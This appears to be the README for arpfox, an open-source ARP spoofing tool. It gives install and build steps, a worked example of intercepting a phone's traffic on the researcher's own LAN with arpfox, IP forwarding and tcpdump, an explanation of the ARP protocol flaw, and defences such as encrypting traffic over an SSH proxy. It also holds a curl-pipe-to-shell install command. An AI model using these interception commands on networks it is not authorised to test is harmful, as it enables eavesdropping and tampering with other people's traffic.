A security researcher can run
arpfox against any machine on the LAN to pose
as any other host, this is an ancient
technique known as ARP
spoofing and is commonly used to
eavesdrop communications on a LAN.
The machine that receives traffic can record, censor, alter or selectively drop network packets that pass through it.
You can install arpfox to
/usr/local/bin with the following command (requires
curl -sL 'https://raw.githubusercontent.com/malfunkt/arpfox/master/install.sh' | sh
You can also grab the latest release from our releases page and install it manually into another location.
Build it yourself
In order to build
arpfox you'll need Go, a C compiler and libpcap's
# Fedora sudo dnf install -y libpcap-devel # Debian/Ubuntu sudo apt-get install -y libpcap-dev # OSX brew install libpcap # FreeBSD sudo pkg install libpcap
After installing libpcap, use
go get to build and install
go get github.com/malfunkt/arpfox arpfox -h
arpfox -i [interface] -t [target] [host]
Interface name, could be
Target specification (-t)
arpfox takes targets in the same format as
nmap. The following are all
valid target specifications:
10.0.0.1, 10.0.0.5-10, 192.168.1.*, 192.168.10.0/24
The host parameter defines the host you want to pose as, for instance, if you use the LAN router's IP address, the target will start sending packets to you intead of to the legitimate router.
Depending on your OS, you may require root privileges to run
arpfox -i wlan0 -t 10.0.0.25 10.0.0.1 2016/09/05 20:06:12 wlan0: You don't have permission to capture on that device ((cannot open device) /dev/bpf: Permission denied) sudo arpfox -i wlan0 -t 10.0.0.25 10.0.0.1 ...
A practical example
Alice is a security researcher, and she wants to intercept and record all traffic between her own phone and the LAN router.
Her machine is already on the same LAN as the phone, and she knows the IP addresses of both the phone and of the router.
Phone: 10.0.0.101 Router: 10.0.0.1
Alice will attempt to make her laptop pose as the router in order for the phone to send all its traffic to the laptop.
If she succeeds, the phone will start sending traffic marked for
Alice's machine, which will just ignore the packets because these packets have
a different destination, in order to instruct the laptop to forward the packets
to the legitimate destination instrad of dropping them, Alice does something
# OSX sudo sysctl net.inet.ip.forwarding=1 # FreeBSD sudo sysctl -w net.inet.ip.forwarding=1 # Linux sudo sysctl -w net.ipv4.ip_forward=1
Besides forwarding, Alice also wants to see what's going on with unencrypted
traffic, so she instructs
tcpdump to display packets coming from the phone:
tcpdump -i en0 -A -n "src host 10.0.0.101 and (dst port 80 or dst port 443)"
At this point Alice hasn't started
arpfox yet and the phone's ARP table still
looks like this:
# 10.0.0.1's legitimate MAC address on the phone. ? (10.0.0.1) at 11:22:33:44:55:66 on wlan0 expires in 857 seconds [ethernet]
Now she's ready to use
# arpfox -i [network interface] -t [target] [host] arpfox -i en0 -t 10.0.0.101 10.0.0.1
-i en0 tells
arpfox to use the
en0 network interface and
-t 10.0.0.101 10.0.0.1 tells
arpfox to send unsolicited ARP replies to the phone
10.0.0.101) posing as the router (
After a few seconds, the phone's ARP table will get altered and the phone will think Alice's machine is the router:
# 10.0.0.1's MAC address was changed on the phone. ? (10.0.0.1) at 11:22:de:ad:be:ef on wlan0 expires in 1193 seconds [ethernet]
Finally, she takes the phone and goes to
... GET / HTTP/1.1 Host: example.org Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/52.0.2743.84 Mobile/13G36 Safari/601.1.46 Accept-Language: en-us Cache-Control: max-age=0 Connection: keep-alive ...
Why does this happen?
The part that is flawed is described in the "Packet Reception" section:
Notice that the <protocol type, sender protocol address, sender hardware address> triplet is merged into the table before the opcode is looked at. This is on the assumption that communcation is bidirectional; if A has some reason to talk to B, then B will probably have some reason to talk to A. Notice also that if an entry already exists for the <protocol type, sender protocol address> pair, then the new hardware address supersedes the old one. Related Issues gives some motivation for this.
The opcode they're talking about is what tells the receiver if the packet is a request or a reply, except that nothing verifies that a reply is associated with a request nor that a request was made in the first place.
It only takes an unsolicited ARP packet of type reply to make a machine change that entry into its internal ARP table, this includes adding new addreses and replacing old ones.
How can I protect against this?
There are some programs that can help you against ARP spoofing. Sometimes programs like these may be inconvenient because we usually roam over different networks all the time and these programs require usto hack stuff before actually starting being productive. Keeping an static ARP table is simply not practical enough for most users.
One thing you can do, though, is assuming things like these could happen and try to encrypt your communications, specially on untrusted networks where any node, even the router, can be actively recording traffic without your consent. While this doesn't prevent attackers from keeping records on your communications, it does prevent them from knowing the actual contents of it.
You don't have to use a VPN to stay secure, you can build a proxy with SSH and configure your programs to use it:
ssh -D 9999 firstname.lastname@example.org
A more advanced example could be found here.
A glimpse of our future
You know what is probably not going to help solving this problem in the coming years? Millions of already deployed IoT devices that cannot update themselves.